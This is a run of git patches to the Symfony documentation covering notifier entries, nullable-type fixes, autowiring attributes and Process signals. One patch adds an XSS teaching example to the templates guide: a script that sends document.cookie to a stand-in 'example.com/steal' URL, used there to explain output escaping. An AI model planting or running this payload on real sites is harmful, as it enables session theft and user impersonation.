As we can see in the code https://github.com/symfony/symfony/blob/6.3/src/Symfony/Component/Scheduler/Trigger/JitterTrigger.php we can only add time
---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 39644ff9c8e..12d76eadc29 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -153,7 +153,7 @@ the frequency of the message. Symfony provides different types of triggers:
 
 :class:`Symfony\\Component\\Scheduler\\Trigger\\JitterTrigger`
     A trigger that adds a random jitter to a given trigger. The jitter is some
-    time that it's added/subtracted to the original triggering date/time. This
+    time that is added to the original triggering date/time. This
     allows to distribute the load of the scheduled tasks instead of running them
     all at the exact same time.
 

From f1793555e2e68d4b7754f5022487753a3621a8fa Mon Sep 17 00:00:00 2001
From: Andrey Lebedev <andrew.lebedev@gmail.com>
Date: Wed, 20 Mar 2024 21:37:29 +0400
Subject: [PATCH 6016/7107] [Notifier] LOX24 SMS Gateway Notifier

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 6bf3ab71c48..c9cf3068d1c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -74,6 +74,7 @@ Service             Package                                DSN
 `Iqsms`_            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 `KazInfoTeh`_       ``symfony/kaz-info-teh-notifier``      ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
 `LightSms`_         ``symfony/light-sms-notifier``         ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+`LOX24`_            ``symfony/lox24-notifier``             ``lox24://USER:TOKEN@default?from=FROM``
 `Mailjet`_          ``symfony/mailjet-notifier``           ``mailjet://TOKEN@default?from=FROM``
 `MessageBird`_      ``symfony/message-bird-notifier``      ``messagebird://TOKEN@default?from=FROM``
 `MessageMedia`_     ``symfony/message-media-notifier``     ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
@@ -115,7 +116,7 @@ Service             Package                                DSN
 
 .. versionadded:: 7.1
 
-    The `SmsSluzba`_ and  `SMSense`_ integrations were introduced in Symfony 7.1.
+    The `SmsSluzba`_, `SMSense`_  and `LOX24`_ integrations were introduced in Symfony 7.1.
 
 .. deprecated:: 7.1
 
@@ -1005,6 +1006,7 @@ is dispatched. Listeners receive a
 .. _`LINE Notify`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LineNotify/README.md
 .. _`LightSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LightSms/README.md
 .. _`LinkedIn`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/LinkedIn/README.md
+.. _`LOX24`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Lox24/README.md
 .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mailjet/README.md
 .. _`Mastodon`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mastodon/README.md
 .. _`Mattermost`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mattermost/README.md

From 885d65db770ec0f72b77d5f6f2169d8f43774314 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Apr 2024 16:06:54 +0200
Subject: [PATCH 6017/7107] Minor tweak

---
 controller.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/controller.rst b/controller.rst
index 2edf6affb2f..90277e07b76 100644
--- a/controller.rst
+++ b/controller.rst
@@ -555,7 +555,8 @@ if you want to map a nested array of specific DTOs::
         ) {}
     }
 
-Nevertheless, if you want to send the array of payloads directly like this:
+Instead of returning an array of DTO objects, you can tell Symfony to transform
+each DTO object into an array and return something like this:
 
 .. code-block:: json
 
@@ -572,7 +573,8 @@ Nevertheless, if you want to send the array of payloads directly like this:
         }
     ]
 
-Map the parameter as an array and configure the type of each element in the attribute::
+To do so, map the parameter as an array and configure the type of each element
+using the ``type`` option of the attribute::
 
     public function dashboard(
         #[MapRequestPayload(type: UserDTO::class)] array $users
@@ -581,6 +583,10 @@ Map the parameter as an array and configure the type of each element in the attr
         // ...
     }
 
+.. versionadded:: 7.1
+
+    The ``type`` option of ``#[MapRequestPayload]`` was introduced in Symfony 7.1.
+
 Managing the Session
 --------------------
 

From 826c0214c9244116f4f15579b4a762b1b658be7c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 14 Apr 2024 21:17:36 +0200
Subject: [PATCH 6018/7107] Use DOCtor-RST 1.60.1

---
 .doctor-rst.yaml                 | 1 +
 .github/workflows/ci.yaml        | 2 +-
 validation/custom_constraint.rst | 6 +++---
 3 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f8b4ba96a91..5f428fc80ca 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -15,6 +15,7 @@ rules:
     ensure_correct_format_for_phpfunction: ~
     ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
+    ensure_explicit_nullable_types: ~
     ensure_github_directive_start_with_prefix:
         prefix: 'Symfony'
     ensure_link_bottom: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 50524a74310..a7a2db5f7a9 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.59.0
+                uses: docker://oskarstark/doctor-rst:1.60.1
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index e7c172181c3..549de6e3234 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -320,9 +320,9 @@ define those options as public properties on the constraint class:
 
             public function __construct(
                 $mandatoryFooOption,
-                string $message = null,
-                bool $optionalBarOption = null,
-                array $groups = null,
+                ?string $message = null,
+                ?bool $optionalBarOption = null,
+                ?array $groups = null,
                 $payload = null,
                 array $options = []
             ) {

From 26f992de81ad13673f7a812dd40d8e1d6450aafe Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 17 Apr 2024 12:08:54 +0200
Subject: [PATCH 6019/7107] -

---
 validation/custom_constraint.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 0f7016d9653..4dacb0c9504 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -265,12 +265,12 @@ define those options as public properties on the constraint class::
             $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption;
         }
 
-        public function getDefaultOption()
+        public function getDefaultOption(): string
         {
             return 'mandatoryFooOption';
         }
 
-        public function getRequiredOptions()
+        public function getRequiredOptions(): array
         {
             return ['mandatoryFooOption'];
         }

From 4981d1370bfb0677739475de850c000d952eb674 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Wed, 17 Apr 2024 12:18:21 +0200
Subject: [PATCH 6020/7107] [CS] Fix explicit nullable types

---
 create_framework/separation_of_concerns.rst | 2 +-
 create_framework/templating.rst             | 2 +-
 reference/dic_tags.rst                      | 2 +-
 reference/forms/types/enum.rst              | 2 +-
 serializer/custom_context_builders.rst      | 4 ++--
 validation/custom_constraint.rst            | 2 +-
 6 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/create_framework/separation_of_concerns.rst b/create_framework/separation_of_concerns.rst
index e0937fbdf45..5238b3aac42 100644
--- a/create_framework/separation_of_concerns.rst
+++ b/create_framework/separation_of_concerns.rst
@@ -120,7 +120,7 @@ And move the ``is_leap_year()`` function to its own class too::
 
     class LeapYear
     {
-        public function isLeapYear(int $year = null): bool
+        public function isLeapYear(?int $year = null): bool
         {
             if (null === $year) {
                 $year = date('Y');
diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 07d7e38417c..282e75cbc94 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -146,7 +146,7 @@ framework does not need to be modified in any way, create a new
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing;
 
-    function is_leap_year(int $year = null): bool
+    function is_leap_year(?int $year = null): bool
     {
         if (null === $year) {
             $year = (int)date('Y');
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 354e9cb0b4b..cf908c4dd24 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -490,7 +490,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
 
     class MyCustomWarmer implements CacheWarmerInterface
     {
-        public function warmUp(string $cacheDir, string $buildDir = null): array
+        public function warmUp(string $cacheDir, ?string $buildDir = null): array
         {
             // ... do some sort of operations to "warm" your cache
 
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 1a2afbe470c..7a49128f28c 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -66,7 +66,7 @@ implement ``TranslatableInterface`` to translate or display custom labels::
         case Center = 'Center aligned';
         case Right = 'Right aligned';
 
-        public function trans(TranslatorInterface $translator, string $locale = null): string
+        public function trans(TranslatorInterface $translator, ?string $locale = null): string
         {
             // Translate enum from name (Left, Center or Right)
             return $translator->trans($this->name, locale: $locale);
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index b40e432286d..31fba6c90f5 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -33,7 +33,7 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer:
     {
         use DenormalizerAwareTrait;
 
-        public function denormalize($data, string $type, string $format = null, array $context = []): mixed
+        public function denormalize($data, string $type, ?string $format = null, array $context = []): mixed
         {
             if ('0000-00-00' === $data) {
                 return null;
@@ -44,7 +44,7 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer:
             return $this->denormalizer->denormalize($data, $type, $format, $context);
         }
 
-        public function supportsDenormalization($data, string $type, string $format = null, array $context = []): bool
+        public function supportsDenormalization($data, string $type, ?string $format = null, array $context = []): bool
         {
             return true === ($context['zero_datetime_to_null'] ?? false)
                 && is_a($type, \DateTimeInterface::class, true);
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 4dacb0c9504..9d3fb920d6d 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -59,7 +59,7 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required::
         #[HasNamedArguments]
         public function __construct(
             public string $mode,
-            array $groups = null,
+            ?array $groups = null,
             mixed $payload = null,
         ) {
             parent::__construct([], $groups, $payload);

From e05c5b15a1e7f717a05e592b7d162c617706056e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 17 Apr 2024 12:25:20 +0200
Subject: [PATCH 6021/7107] -

---
 service_container/autowiring.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 1352f03475a..2925e769bdf 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -635,11 +635,11 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par
 
             // expressions
             #[Autowire(expression: 'service("App\\\Mail\\\MailerConfiguration").getMailerMethod()')]
-            string $mailerMethod
+            string $mailerMethod,
 
             // environment variables
             #[Autowire(env: 'SOME_ENV_VAR')]
-            string $senderName
+            string $senderName,
         ) {
         }
         // ...

From face90624b744d1f0671cc030b60df25bfe43192 Mon Sep 17 00:00:00 2001
From: Antonio de la Vega <antonio.v.j95@gmail.com>
Date: Tue, 16 Apr 2024 18:15:28 +0200
Subject: [PATCH 6022/7107] Add ENV processor example

---
 service_container/autowiring.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 2925e769bdf..a27bf088d5b 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -614,7 +614,8 @@ logic about those arguments::
 
 The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`,
 :doc:`complex expressions </service_container/expression_language>` and even
-:ref:`environment variables <config-env-vars>`::
+:ref:`environment variables <config-env-vars>` ,
+:doc:`including env variable processors </configuration/env_var_processors>`::
 
     // src/Service/MessageGenerator.php
     namespace App\Service;
@@ -640,6 +641,10 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par
             // environment variables
             #[Autowire(env: 'SOME_ENV_VAR')]
             string $senderName,
+
+            // environment variables with processors
+            #[Autowire(env: 'bool:SOME_BOOL_ENV_VAR')]
+            string $allowAttachments,
         ) {
         }
         // ...

From 51a8bb9ba23afc78b121a2b1028dff7e8e9baab0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 17 Apr 2024 12:27:31 +0200
Subject: [PATCH 6023/7107] -

---
 service_container/autowiring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index a27bf088d5b..f570670a7dc 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -644,7 +644,7 @@ The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-par
 
             // environment variables with processors
             #[Autowire(env: 'bool:SOME_BOOL_ENV_VAR')]
-            string $allowAttachments,
+            bool $allowAttachments,
         ) {
         }
         // ...

From be50a3c6688a941325699568dad333e39accc669 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Wed, 17 Apr 2024 12:29:10 +0200
Subject: [PATCH 6024/7107] Fix Explicite nullable types (7.0)

---
 testing.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index ee3a6c50191..0dfa5212217 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1082,10 +1082,10 @@ Mailer Assertions
 Notifier Assertions
 ...................
 
-``assertNotificationCount(int $count, string $transportName = null, string $message = '')``
+``assertNotificationCount(int $count, ?string $transportName = null, string $message = '')``
     Asserts that the given number of notifications has been created
     (in total or for the given transport).
-``assertQueuedNotificationCount(int $count, string $transportName = null, string $message = '')``
+``assertQueuedNotificationCount(int $count, ?string $transportName = null, string $message = '')``
     Asserts that the given number of notifications are queued
     (in total or for the given transport).
 ``assertNotificationIsQueued(MessageEvent $event, string $message = '')``
@@ -1113,7 +1113,7 @@ HttpClient Assertions
     For all the following assertions, ``$client->enableProfiler()`` must be
     called before the code that will trigger HTTP request(s).
 
-``assertHttpClientRequest(string $expectedUrl, string $expectedMethod = 'GET', string|array $expectedBody = null, array $expectedHeaders = [], string $httpClientId = 'http_client')``
+``assertHttpClientRequest(string $expectedUrl, string $expectedMethod = 'GET', string|array|null $expectedBody = null, array $expectedHeaders = [], string $httpClientId = 'http_client')``
     Asserts that the given URL has been called using, if specified,
     the given method body and headers. By default it will check on the HttpClient,
     but you can also pass a specific HttpClient ID.

From 02e88f179210f542eed3830f1f961b2cf28ee116 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Wed, 17 Apr 2024 13:31:21 +0200
Subject: [PATCH 6025/7107] Update _php7-string-and-number.rst.inc

---
 reference/constraints/_php7-string-and-number.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/_php7-string-and-number.rst.inc b/reference/constraints/_php7-string-and-number.rst.inc
index 6da43da6378..3d19f2eb0d3 100644
--- a/reference/constraints/_php7-string-and-number.rst.inc
+++ b/reference/constraints/_php7-string-and-number.rst.inc
@@ -3,4 +3,4 @@
     When using PHP 7.x, if the value is a string (e.g. ``1234asd``), the validator
     will not trigger an error. In this case, you must also use the
     :doc:`Type constraint </reference/constraints/Type>` with
-    ``numeric``, ``integer`, etc. to reject strings.
+    ``numeric``, ``integer``, etc. to reject strings.

From f7225d9ef76dcc592dd124d373e3e08eb301ed48 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 19 Apr 2024 16:09:45 +0200
Subject: [PATCH 6026/7107] fix typo

---
 components/intl.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/intl.rst b/components/intl.rst
index d18ac21b10a..008d9161fd7 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -389,7 +389,7 @@ Symfony provides utilities to translate emojis into their textual representation
 in all languages. Read the documentation on :ref:`working with emojis in strings <string-emoji-transliteration>`
 to learn more about this feature.
 
-Disk space
+Disk Space
 ----------
 
 If you need to save disk space (e.g. because you deploy to some service with tight size

From b6ce981a8fa43d59b4192dfdc76bbf80bf8ba329 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Apr 2024 17:37:53 +0200
Subject: [PATCH 6027/7107] Add a better example of the dangers of XSS attacks

---
 reference/configuration/framework.rst |  2 +-
 reference/configuration/twig.rst      |  7 +++----
 templates.rst                         | 24 ++++++++++++++++--------
 3 files changed, 20 insertions(+), 13 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 25edfe52910..83cece55ec5 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1825,7 +1825,7 @@ cookie_httponly
 This determines whether cookies should only be accessible through the HTTP
 protocol. This means that the cookie won't be accessible by scripting
 languages, such as JavaScript. This setting can effectively help to reduce
-identity theft through XSS attacks.
+identity theft through :ref:`XSS attacks <xss-attacks>`.
 
 gc_divisor
 ..........
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 75a3b7ddf42..f0e8bd31454 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -44,9 +44,9 @@ individually in the templates).
 .. danger::
 
     Setting this option to ``false`` is dangerous and it will make your
-    application vulnerable to `XSS attacks`_ because most third-party bundles
-    assume that auto-escaping is enabled and they don't escape contents
-    themselves.
+    application vulnerable to :ref:`XSS attacks <xss-attacks>` because most
+    third-party bundles assume that auto-escaping is enabled and they don't
+    escape contents themselves.
 
 If set to a string, the template contents are escaped using the strategy with
 that name. Allowed values are ``html``, ``js``, ``css``, ``url``, ``html_attr``
@@ -345,4 +345,3 @@ attribute or method doesn't exist. If set to ``false`` these errors are ignored
 and the non-existing values are replaced by ``null``.
 
 .. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
-.. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting
diff --git a/templates.rst b/templates.rst
index a46a211692c..7dd7a758fae 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1240,17 +1240,25 @@ and leaves the repeated contents and HTML structure to some parent templates.
 Read the `Twig template inheritance`_ docs to learn more about how to reuse
 parent block contents when overriding templates and other advanced features.
 
-Output Escaping
----------------
+.. _output-escaping:
+.. _xss-attacks:
+
+Output Escaping and XSS Attacks
+-------------------------------
 
 Imagine that your template includes the ``Hello {{ name }}`` code to display the
-user name. If a malicious user sets ``<script>alert('hello!')</script>`` as
-their name and you output that value unchanged, the application will display a
-JavaScript popup window.
+user name and a malicious user sets the following as their name:
+
+.. code-block:: html
+
+    My Name
+    <script type="text/javascript">
+        document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
+    </script>
 
-This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous
-example seems harmless, the attacker could write more advanced JavaScript code
-to perform malicious actions.
+You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
+so they can impersonate you in other websites. This is known as a `Cross-Site Scripting`_
+or XSS attack.
 
 To prevent this attack, use *"output escaping"* to transform the characters
 which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).

From 0b3b5695f8f6f9e94d37d59a2ac58f600ae35913 Mon Sep 17 00:00:00 2001
From: Chris Smith <chris.smith@widerplan.com>
Date: Fri, 19 Apr 2024 17:41:45 +0100
Subject: [PATCH 6028/7107] Add reference to undocumented configuration option

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 25edfe52910..b3c72d44c67 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1602,7 +1602,7 @@ To see a list of all available storages, run:
 
 .. versionadded:: 5.3
 
-    The ``storage_factory_id`` option was introduced in Symfony 5.3.
+    The ``storage_factory_id`` option was introduced in Symfony 5.3 deprecating the ``storage_id`` option.
 
 .. _config-framework-session-handler-id:
 

From 2fb1ada6d841d6c14ae3188736f9fa49b449f646 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sun, 14 Apr 2024 08:54:41 +0200
Subject: [PATCH 6029/7107] [DependencyInjection] Clarify the `#[Target]`
 attribute

---
 service_container/autowiring.rst | 40 +++++++++++++++++++-------------
 1 file changed, 24 insertions(+), 16 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index d75d34443ca..979c798c8b8 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -320,8 +320,8 @@ To fix that, add an :ref:`alias <service-autowiring-alias>`:
 
             App\Util\Rot13Transformer: ~
 
-            # the ``App\Util\Rot13Transformer`` service will be injected when
-            # an ``App\Util\TransformerInterface`` type-hint is detected
+            # the App\Util\Rot13Transformer service will be injected when
+            # an App\Util\TransformerInterface type-hint is detected
             App\Util\TransformerInterface: '@App\Util\Rot13Transformer'
 
     .. code-block:: xml
@@ -428,7 +428,7 @@ type hinted, but use the ``UppercaseTransformer`` implementation in some
 specific cases. To do so, you can create a normal alias from the
 ``TransformerInterface`` interface to ``Rot13Transformer``, and then
 create a *named autowiring alias* from a special string containing the
-interface followed by a variable name matching the one you use when doing
+interface followed by an argument name matching the one you use when doing
 the injection::
 
     // src/Service/MastodonClient.php
@@ -464,13 +464,13 @@ the injection::
             App\Util\Rot13Transformer: ~
             App\Util\UppercaseTransformer: ~
 
-            # the ``App\Util\UppercaseTransformer`` service will be
-            # injected when an ``App\Util\TransformerInterface``
-            # type-hint for a ``$shoutyTransformer`` argument is detected.
+            # the App\Util\UppercaseTransformer service will be
+            # injected when an App\Util\TransformerInterface
+            # type-hint for a $shoutyTransformer argument is detected
             App\Util\TransformerInterface $shoutyTransformer: '@App\Util\UppercaseTransformer'
 
             # If the argument used for injection does not match, but the
-            # type-hint still matches, the ``App\Util\Rot13Transformer``
+            # type-hint still matches, the App\Util\Rot13Transformer
             # service will be injected.
             App\Util\TransformerInterface: '@App\Util\Rot13Transformer'
 
@@ -527,7 +527,7 @@ the injection::
 
             // the App\Util\UppercaseTransformer service will be
             // injected when an App\Util\TransformerInterface
-            // type-hint for a $shoutyTransformer argument is detected.
+            // type-hint for a $shoutyTransformer argument is detected
             $services->alias(TransformerInterface::class.' $shoutyTransformer', UppercaseTransformer::class);
 
             // If the argument used for injection does not match, but the
@@ -555,13 +555,17 @@ under the arguments key.
 
 Another possibility is to use the ``#[Target]`` attribute. By using this attribute
 on the argument you want to autowire, you can define exactly which service to inject
-by using its alias. Thanks to this, you're able to have multiple services implementing
-the same interface and keep the argument name decorrelated of any implementation name
-(like shown in the example above).
+by passing the name of the argument used in the named alias. Thanks to this, you're able
+to have multiple services implementing the same interface and keep the argument name
+decorrelated of any implementation name (like shown in the example above).
 
-Let's say you defined the ``app.uppercase_transformer`` alias for the
-``App\Util\UppercaseTransformer`` service. You would be able to use the ``#[Target]``
-attribute like this::
+.. warning::
+
+    The ``#[Target]`` attribute only accepts the name of the argument used in the named
+    alias, it **does not** accept service ids or service aliases.
+
+Suppose you want to inject the ``App\Util\UppercaseTransformer`` service. You would use
+the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` argument::
 
     // src/Service/MastodonClient.php
     namespace App\Service;
@@ -573,12 +577,16 @@ attribute like this::
     {
         private $transformer;
 
-        public function __construct(#[Target('app.uppercase_transformer')] TransformerInterface $transformer)
-        {
+        public function __construct(
+            #[Target('shoutyTransformer')] TransformerInterface $transformer,
+        ) {
             $this->transformer = $transformer;
         }
     }
 
+Since the ``#[Target]`` attribute normalizes the string passed to it to its camelCased form,
+name variations such as ``shouty.transformer`` also work.
+
 .. note::
 
     Some IDEs will show an error when using ``#[Target]`` as in the previous example:

From 6ae48a88672d49b781535a02f73ad971d4ca87b7 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Sun, 21 Apr 2024 04:11:06 -0400
Subject: [PATCH 6030/7107] [security] `make:security:custom`

Since MakerBundle `v1.59.0` - you can call `make:security:custom` to generate a simple, no-frills, custom authenticator based off the example in the docs.
---
 security/custom_authenticator.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index c57a2d84c23..3ec158d4e76 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -5,7 +5,8 @@ Symfony comes with :ref:`many authenticators <security-authenticators>` and
 third party bundles also implement more complex cases like JWT and oAuth
 2.0. However, sometimes you need to implement a custom authentication
 mechanism that doesn't exist yet or you need to customize one. In such
-cases, you must create and use your own authenticator.
+cases, you can use the ``make:security:custom`` command to create your own
+authenticator.
 
 Authenticators should implement the
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.

From bf7aca178e472ff49887e8555ebca1c676bb5f6a Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Sun, 21 Apr 2024 04:46:10 -0400
Subject: [PATCH 6031/7107] [webhook] show `make:webhook`

---
 webhook.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/webhook.rst b/webhook.rst
index a621587084c..f931a3601ce 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -16,6 +16,11 @@ Installation
 
     $ composer require symfony/webhook
 
+.. tip::
+
+    Since MakerBundle ``v1.58.0`` - you can run ``php bin/console make:webhook``
+    to generate the files needed to use the Webhook component.
+
 Usage in Combination with the Mailer Component
 ----------------------------------------------
 

From e98c6f14159186418ba2320450a25a2d4fbde33b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 22 Apr 2024 11:00:22 +0200
Subject: [PATCH 6032/7107] [Process] Mention `Process::setIgnoredSignals`

---
 components/process.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/process.rst b/components/process.rst
index c4db5c18a9c..9502665dde1 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -511,6 +511,20 @@ When running a program asynchronously, you can send it POSIX signals with the
     // will send a SIGKILL to the process
     $process->signal(SIGKILL);
 
+You can make the process ignore signals by using the
+:method:`Symfony\\Component\\Process\\Process::setIgnoredSignals`
+method. The given signals won't be propagated to the child process::
+
+    use Symfony\Component\Process\Process;
+
+    $process = new Process(['find', '/', '-name', 'rabbit']);
+    $process->setIgnoredSignals([SIGKILL, SIGUSR1]);
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\Process\\Process::setIgnoredSignals`
+    method was introduced in Symfony 7.1.
+
 Process Pid
 -----------
 

From 6e19233cf00ff3ae35c781dfdac0726faf159e75 Mon Sep 17 00:00:00 2001
From: Matthias Schmidt <matthias@mttsch.dev>
Date: Mon, 22 Apr 2024 19:21:13 +0200
Subject: [PATCH 6033/7107] [DependencyInjection] Add `#[AutowireMethodOf]`
 attribute

Co-Authored-By: Oskar Stark <oskarstark@googlemail.com>
---
 reference/attributes.rst         |  1 +
 service_container/autowiring.rst | 30 ++++++++++++++++++++++++++++++
 2 files changed, 31 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 015b8751834..a1e8532c347 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -35,6 +35,7 @@ Dependency Injection
 * :doc:`AutowireDecorated </service_container/service_decoration>`
 * :doc:`AutowireIterator <service-locator_autowire-iterator>`
 * :ref:`AutowireLocator <service-locator_autowire-locator>`
+* :ref:`AutowireMethodOf <autowiring_closures>`
 * :ref:`AutowireServiceClosure <autowiring_closures>`
 * :ref:`Exclude <service-psr4-loader>`
 * :ref:`Lazy <lazy-services_configuration>`
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 3c7a2eba52b..8b2b1c4d51d 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -737,6 +737,36 @@ attribute. By doing so, the callable will automatically be lazy, which means
 that the encapsulated service will be instantiated **only** at the
 closure's first call.
 
+:class:`Symfony\Component\DependencyInjection\Attribute\\AutowireMethodOf`
+provides a simpler way of specifying the name of the service method by using
+the property name as method name::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Symfony\Component\DependencyInjection\Attribute\AutowireMethodOf;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[AutowireMethodOf('third_party.remote_message_formatter')]
+            private \Closure $format,
+        ) {
+        }
+
+        public function generate(string $message): void
+        {
+            $formattedMessage = ($this->format)($message);
+
+            // ...
+        }
+    }
+
